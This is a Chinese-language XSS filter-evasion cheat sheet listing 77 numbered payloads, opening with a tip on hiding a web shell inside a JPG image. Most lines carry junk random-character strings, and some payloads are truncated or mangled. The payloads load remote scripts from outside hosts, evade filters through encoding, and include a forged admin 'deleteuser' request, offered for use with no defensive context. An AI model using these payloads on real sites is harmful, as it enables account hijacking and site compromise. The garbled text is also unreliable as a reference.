跨站图片shell+ O* Z8 l$ g6 ] P1 z4 ^9 H7 X1 c/ ^) `
XSS跨站代码 <script>alert("")</script>
8 \2 d h! {# i
5 U6 d$ A5 b0 J; t, V0 Q4 \将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
" ?! W* L2 @' k' F+ Z
" M9 Y$ p5 V9 \9 h, M% k
5 N8 M0 T, P7 a6 c& ^1 T9 J R
1)普通的XSS JavaScript注入; P$ I6 t" u& z/ b. {
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
j2 k c. P% i8 z' g2 r
7 ?5 |6 { _3 c, P+ O* r2 X6 U(2)IMG标签XSS使用JavaScript命令) Q% x( D) Y% T
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- O! z1 ~- H) i# I4 s3 \7 o
7 @ f3 ^5 a( F2 z: C* `(3)IMG标签无分号无引号
# W, [% J% P. j<IMG SRC=javascript:alert(‘XSS’)>' G0 u0 D: ~% i6 J$ ~3 @" J
. _8 u3 K! `, ]2 x6 C
(4)IMG标签大小写不敏感
5 _ v. M, ?; E<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
; P3 f" C0 W# [4 ^. }* Q0 y5 c+ o* e r. @) `
(5)HTML编码(必须有分号)! m. K P2 x9 I6 Z! y D% o
<IMG SRC=javascript:alert(“XSS”)>
0 s: P* D% P& ]' m& }1 H9 |4 @% G2 _7 P% X/ N/ H5 F$ l
(6)修正缺陷IMG标签
% h/ |4 C3 A" [6 h; K" C% C<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>" f: M s( [% n; ^: G
, ]1 G6 r$ @' g(7)formCharCode标签(计算器): q! P+ @8 \6 _' Z
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
; R4 W0 [/ S, ?: n; {4 D
# ^9 l# a% ?# v: w( e(8)UTF-8的Unicode编码(计算器): |" y( A& e A1 h* P
<IMG SRC=jav..省略..S')>
- N3 O4 K1 {. ^! C( f7 {) M2 d) o4 U
(9)7位的UTF-8的Unicode编码是没有分号的(计算器), m8 d9 c; ~: s# [8 K
<IMG SRC=jav..省略..S')>4 ?& a5 ^( ~* D% w- ^ L2 b. B' O* |
& r6 U# f: |' _! d$ ]
(10)十六进制编码也是没有分号(计算器)/ D8 i0 H6 _8 G
<IMG SRC=java..省略..XSS')>1 |2 f. _3 \) o5 R; s# t( Z
% E9 G7 V; v g(11)嵌入式标签,将Javascript分开% v6 Y1 R" P5 m6 V2 y
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 ^4 I8 O/ ~! Y v T
/ T0 v& Q. W9 h& Y: w6 {(12)嵌入式编码标签,将Javascript分开
* c0 U5 b( k3 H8 D+ E! \1 L<IMG SRC=”jav ascript:alert(‘XSS’);”># V; Z. f* M1 J
$ [. d3 y+ [2 o# R C(13)嵌入式换行符
+ r( j# d" K7 P7 A% b2 ~. X<IMG SRC=”jav ascript:alert(‘XSS’);”>* N7 `! n+ p( D4 V2 f6 ?7 D
/ Z2 V8 _ x3 c(14)嵌入式回车8 \% q" u: F+ u- F- p9 M
<IMG SRC=”jav ascript:alert(‘XSS’);”>7 B; {$ V- x8 P. G' { [: k
3 l) C4 a0 p6 U0 V
(15)嵌入式多行注入JavaScript,这是XSS极端的例子6 d8 b4 |4 q) z
<IMG SRC=”javascript:alert(‘XSS‘)”>
2 h+ C: N& C$ @) j0 @5 s- P. ?. O4 O/ z
(16)解决限制字符(要求同页面): F9 N" ^! X7 Y& ^$ q4 m
<script>z=’document.’</script>
. X' J. c8 b: h<script>z=z+’write(“‘</script>8 ?' e" N0 o4 k
<script>z=z+’<script’</script>
' n9 A( Q1 v* ]# b: W8 I, U<script>z=z+’ src=ht’</script>
$ Z' e- \4 T4 Q+ s2 n<script>z=z+’tp://ww’</script>
$ ?" @# F3 A7 E+ t) P8 H E# b<script>z=z+’w.shell’</script>6 b; B! L; u* @9 s* a7 H
<script>z=z+’.net/1.’</script>
6 t) f' d6 d' ]& x$ l4 R) `) s& |: }<script>z=z+’js></sc’</script>
: D/ r! @2 n$ i* I1 n( ]<script>z=z+’ript>”)’</script>7 J `0 ^; l+ A, _; ?3 `
<script>eval_r(z)</script>" j& f7 y. [' |5 t
1 W& v8 x, z2 X/ @* y* N
(17)空字符
/ o- ~. @3 a$ Eperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out( L! M1 `5 B, G8 d
" Y5 f5 I' s0 v
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
+ ]" {* v4 S5 w/ I) z: n# A Lperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
- j6 Q7 H) c9 ~7 M0 Y
' Y% h J! H! E+ G* [8 c7 A(19)Spaces和meta前的IMG标签
9 L5 m& u5 L3 W* X' }<IMG SRC=” javascript:alert(‘XSS’);”>8 a' I6 c; s+ {6 Z8 W4 s
! N* z9 W1 n6 a' ], H7 A
(20)Non-alpha-non-digit XSS
, I; q; l* Z$ v0 n+ o% F8 z. i<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
0 t; i; ]( z! k6 w- N* k( D$ H7 @' T }. r1 u! D( C
(21)Non-alpha-non-digit XSS to 2% G' j( @/ U7 V1 p3 k
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
2 w0 O" Z2 ]7 Z- R
% g1 u; U# t: n& ? g(22)Non-alpha-non-digit XSS to 3
' N+ s8 k% E! j e; A$ Z<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
4 q) Z' @4 f0 W1 G+ o6 ~! ]* N }& l) R$ w! T0 L: h
(23)双开括号+ R' @+ Y. E6 e1 n
<<SCRIPT>alert(“XSS”);//<</SCRIPT>- m @4 u* n9 Q" ?+ H1 h+ a! N1 z
$ v7 H* g/ l, A3 F* [
(24)无结束脚本标记(仅火狐等浏览器)6 [7 g. c& R/ }: a# P$ f5 U: X) W
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
8 _! T! i4 U" a. r5 C# x& m
@6 H" X* V$ G(25)无结束脚本标记2
4 u% M6 @, I E. V<SCRIPT SRC=//3w.org/XSS/xss.js>9 Z8 n+ O. |! X* |' |! J
; d3 O5 i9 w$ r3 N' E(26)半开的HTML/JavaScript XSS
! u1 l/ L5 P+ D<IMG SRC=”javascript:alert(‘XSS’)”
, P4 n* f" o- m# C+ v3 s% f8 |3 B* D' }8 I3 J4 `. J5 S; H! f
(27)双开角括号0 q0 C8 h! P, G9 | x+ F
<iframe src=http://3w.org/XSS.html <
7 }- J5 G; _ J+ e a0 T' D: K/ O. h1 i6 \3 b# @" l6 W, k
(28)无单引号 双引号 分号
! T& f5 E! p: v, H+ k( l: z<SCRIPT>a=/XSS/
3 e. C- e% r4 ?alert(a.source)</SCRIPT>2 ]: W% F/ ?0 w7 a v
8 W/ ]+ `8 a1 q, m
(29)换码过滤的JavaScript9 S; p: ~; `6 R S
\”;alert(‘XSS’);//# E( J9 n+ [( H# E4 {& E* R0 k
k! d A* c1 v9 d$ ?4 w3 O: V
(30)结束Title标签
5 B# f9 Q! V' m2 ^</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
. U, w- @5 c" n5 Y0 y: h: P9 u2 q0 ^7 @( ~5 R: w1 ]! @
(31)Input Image
3 j$ U2 f, \/ W. t2 v) W, l2 Y<INPUT SRC=”javascript:alert(‘XSS’);”>
4 [# u, V- ~, U# y( p" p
. I$ k. z, ]* g9 e/ k(32)BODY Image
( U5 h# X" p7 U7 W<BODY BACKGROUND=”javascript:alert(‘XSS’)”>) Y5 ]7 j) L- W4 u t! Z, G
+ [2 @, y, ^5 ]6 F% p
(33)BODY标签) L% w/ P* h' Y# N# }) R+ w. q
<BODY(‘XSS’)>: \- ]* h8 v- {) Z' ]/ o
# B5 I8 ~- L+ B, Y) D(34)IMG Dynsrc
/ l9 M0 w/ {0 O' K, }% j- q<IMG DYNSRC=”javascript:alert(‘XSS’)”>
: M+ v* l( t; @) x$ d
2 T( I3 `& x% i$ y" l1 z(35)IMG Lowsrc! _1 n( o* F& v9 e, j, ^/ l b
<IMG LOWSRC=”javascript:alert(‘XSS’)”> T' n0 K& Q$ k
2 h% A( w/ G+ x( w9 B, n, |# {3 ?7 B* ](36)BGSOUND& e* S& \( i7 h3 v
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
; T; V; m8 H0 o
1 s* k( {3 A6 y( M! l, [$ a$ F(37)STYLE sheet8 {, A1 _/ g3 a0 B3 D
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>) k- F- f" A4 ~, h; I- Z& ^. |5 v, ^
( W( u# y6 s% R. j(38)远程样式表0 Z* Y+ \* i! ^2 [4 U
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
; `3 P& W6 |' U! t; }: j- K
- s3 j; F! W$ ]1 j2 u. ?+ ~3 y; K(39)List-style-image(列表式)! X3 y. o( J7 a# O# h0 n) @
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS9 C! G0 @, I/ _/ B& i5 d0 s Y
7 |3 g. K# @6 I% T(40)IMG VBscript
2 H! R/ D0 j& ~, i8 [6 S<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS7 `- t$ M+ x- Y
+ E" ~6 M- W: q8 I
(41)META链接url) C$ P+ ]- K1 Q4 M0 O7 t6 N. K
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
' }) w! R ?* X) h) v6 ^
: i v5 ?, y6 S: D4 M(42)Iframe2 X9 Y' j( z7 U$ @
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
5 W4 G1 ]: d. O1 W# \7 Q(43)Frame
, D1 k" E5 m% V6 J4 i) [% h<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>' w% K9 e# c/ e; l
4 s- |) a% x [: |0 M: _6 W(44)Table
2 i! k/ \$ C+ j( d<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>7 i: } h5 x2 }
1 A. @1 O) W! Z0 S(45)TD* p6 E# H0 Q& h% Y- l
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
; U: ~' q o# C5 `3 \6 F+ ^5 }: f' h6 n1 B. l( E0 G: g
(46)DIV background-image6 v0 I% N& \/ {1 ?
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
$ ]/ d4 ?3 S/ p- r4 f. L. h5 [1 u% ~8 ~' e G8 U6 w. a! v w# H
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)! q+ p) a( c/ K% U* ^! t1 R/ C9 l
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>) H3 x7 _, ~# {( v' h& \6 x
6 q! O/ ~$ q! S3 W
(48)DIV expression- |4 O$ h0 l3 }2 j1 s- k; v0 n
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
, e- A$ q* ~7 K7 Y( t/ \/ i# V6 E: ?, [2 _7 c/ x$ m
(49)STYLE属性分拆表达2 k$ k! r% C" M1 t
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>8 F N) t5 K- r. Q
$ ]7 F3 S Q& t6 t
(50)匿名STYLE(组成:开角号和一个字母开头)0 Z2 D) H) X; s- b; c9 Y! |
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
1 l- M+ ]; U D( X6 L- j: I, Y% t, x4 |" j) q' F6 \
(51)STYLE background-image
- ?4 Z/ u6 P1 n# V<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
* Y( r J# Q Z% |6 R) ?
* f# i% D5 E& v+ ~' ?/ N ^9 B(52)IMG STYLE方式* d3 f3 i# e4 ]+ {
exppression(alert(“XSS”))’>
; H$ ^$ H5 @; d6 w; V( d% |! ?$ K% v
(53)STYLE background! g% K# \- A9 D( n7 m
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>) u, g7 t1 ?* [. h) n
6 @' B* D1 P6 R7 X0 N' { D(54)BASE
0 }/ U$ U7 y- P& q+ W<BASE HREF=”javascript:alert(‘XSS’);//”>
" U: D+ ~- j2 w1 ?# U1 k
' y0 I4 p0 L: g2 Z/ S(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS& c6 ]8 C H# G3 s
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
, {7 U- s2 a2 ^9 o& j1 Z+ f
) K" t1 B0 w( E. w(56)在flash中使用ActionScrpt可以混进你XSS的代码( p$ O4 t0 o8 l3 o2 {
a=”get”;
4 N* m$ x4 @9 T8 Db=”URL(\”";
D9 o$ y$ s0 i& s% yc=”javascript:”;9 n. h; Z5 Z P3 P5 S: S$ C" `3 m
d=”alert(‘XSS’);\”)”;
+ M7 `7 \& \2 Aeval_r(a+b+c+d);
, Z8 v: H! u0 U/ N8 q
5 w2 N0 I- t; |; ]; p(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
6 ~% G6 H' ?$ K<HTML xmlns:xss>
' z' O; [* Y: N% j( {) c<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
% w" N# x) v4 \<xss:xss>XSS</xss:xss>
* V1 g/ h$ L2 e5 m</HTML>9 T5 y: V0 `; r4 l H1 p
! h3 ^3 A/ X, K
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用8 p, [. j/ O8 ^' b1 c* H, W
<SCRIPT SRC=””></SCRIPT>7 W) g( H6 C1 P/ j: B
" p! ~4 u' j* [( x
(59)IMG嵌入式命令,可执行任意命令7 A4 z3 m( Q+ a9 T
<IMG SRC=”http://www.XXX.com/a.php?a=b”>& X# Y5 _' T; Y/ Y7 D3 U1 K& t8 H
( \5 N* X( X3 r) R' s
(60)IMG嵌入式命令(a.jpg在同服务器)* \; N7 S$ O( x7 i+ p2 y) N: @
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser# B* e' \$ \: }0 i- B# Z
8 b+ M. y- \' g+ w4 r) a(61)绕符号过滤5 s* o5 a1 X0 g! D$ B0 M
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>( I& j2 i9 ^. n* p4 |
- n/ p3 m' U' x/ [(62)4 H+ X8 e6 ~) z; `& l" Y2 Q
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
( d3 i. C9 p5 m- u/ a, j0 n
9 j! Q/ C4 Z$ \2 k/ ?3 m/ a(63)
* `7 }3 p* d* C) I3 M+ g<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>( m, K# H/ C" M8 F& K& y/ _) U) f
4 C/ M+ ~( P* ]: v$ M0 v(64)6 `- m; `! y5 j2 s) |. h' U
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT> P1 p% S9 D* B6 g, \
$ e$ K7 y' p9 u) u' K
(65)! y& K$ U, z. x5 b: W k: S
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>' V! m/ h, }5 t3 w+ p: X
7 H8 t7 G; C8 E9 d/ t5 T" H* a(66)3 c+ U1 I, Z7 v- m
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>$ s8 ]' E! V6 A& S6 v V. ^
+ O3 F' ^# {, P2 t(67)
" E1 B* G) Y7 q3 Y8 \<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
3 I+ F3 I4 @, u' z: i7 P
5 B- ?: ]3 f5 W4 Z5 j* x(68)URL绕行
5 { c2 V5 x: I: X- C9 C1 F( _<A HREF=”http://127.0.0.1/”>XSS</A>
! K2 T1 T4 O% Z* r9 I4 m
5 x7 _( O2 t6 m' w% E# L2 a(69)URL编码1 ?8 X' G3 b& S3 r4 @7 B% J: a3 [
<A HREF=”http://3w.org”>XSS</A>
5 n$ V {5 i2 F5 y" f" D& q. l" w+ E) F4 k" o$ I! U
(70)IP十进制' S8 t* x6 }3 t% J3 V, q' T9 B7 \
<A HREF=”http://3232235521″>XSS</A>
7 V$ x: Z! ^! R$ T' b9 f7 E
B+ k0 {) F$ A& n(71)IP十六进制) L7 `' t. f. o( p' _! k* T
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>/ R3 n- w9 ~7 H4 R
k8 Q' {8 f2 Z& ~) y; L(72)IP八进制
0 u: @4 L, |0 G& S# ~<A HREF=”http://0300.0250.0000.0001″>XSS</A>8 S! {1 V4 ]( f7 h7 f
$ h$ p3 A: D" N, j(73)混合编码# Q$ b0 }' T. n! `
<A HREF=”h
/ b: R! W) o: C, n9 { itt p://6 6.000146.0×7.147/”">XSS</A>
6 V* v4 v8 `0 Z& p0 T: h6 X7 D& n; n% I0 u' A
(74)节省[http:]
) @5 c. [9 I3 f: _: T2 Y$ ` i8 k. s<A HREF=”//www.google.com/”>XSS</A>3 a4 J( y% e$ \0 q: ~; f
2 E* t- m& ?, V) ^: v(75)节省[www]4 p; X- r* Z2 ?6 e/ y
<A HREF=”http://google.com/”>XSS</A>
$ o8 u! P/ W2 K! i9 }( r( p. @& R( L8 o; |: E
(76)绝对点绝对DNS [3 p* v2 X5 f1 D* m% Z" X9 t
<A HREF=”http://www.google.com./”>XSS</A>6 N7 E$ l7 u) r8 ?% U- E& ^( t
, M7 i3 w8 }1 k f* O- a
(77)javascript链接4 ?$ |/ x. u. Q# w1 c" w
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
8 ?) D: o: G# U |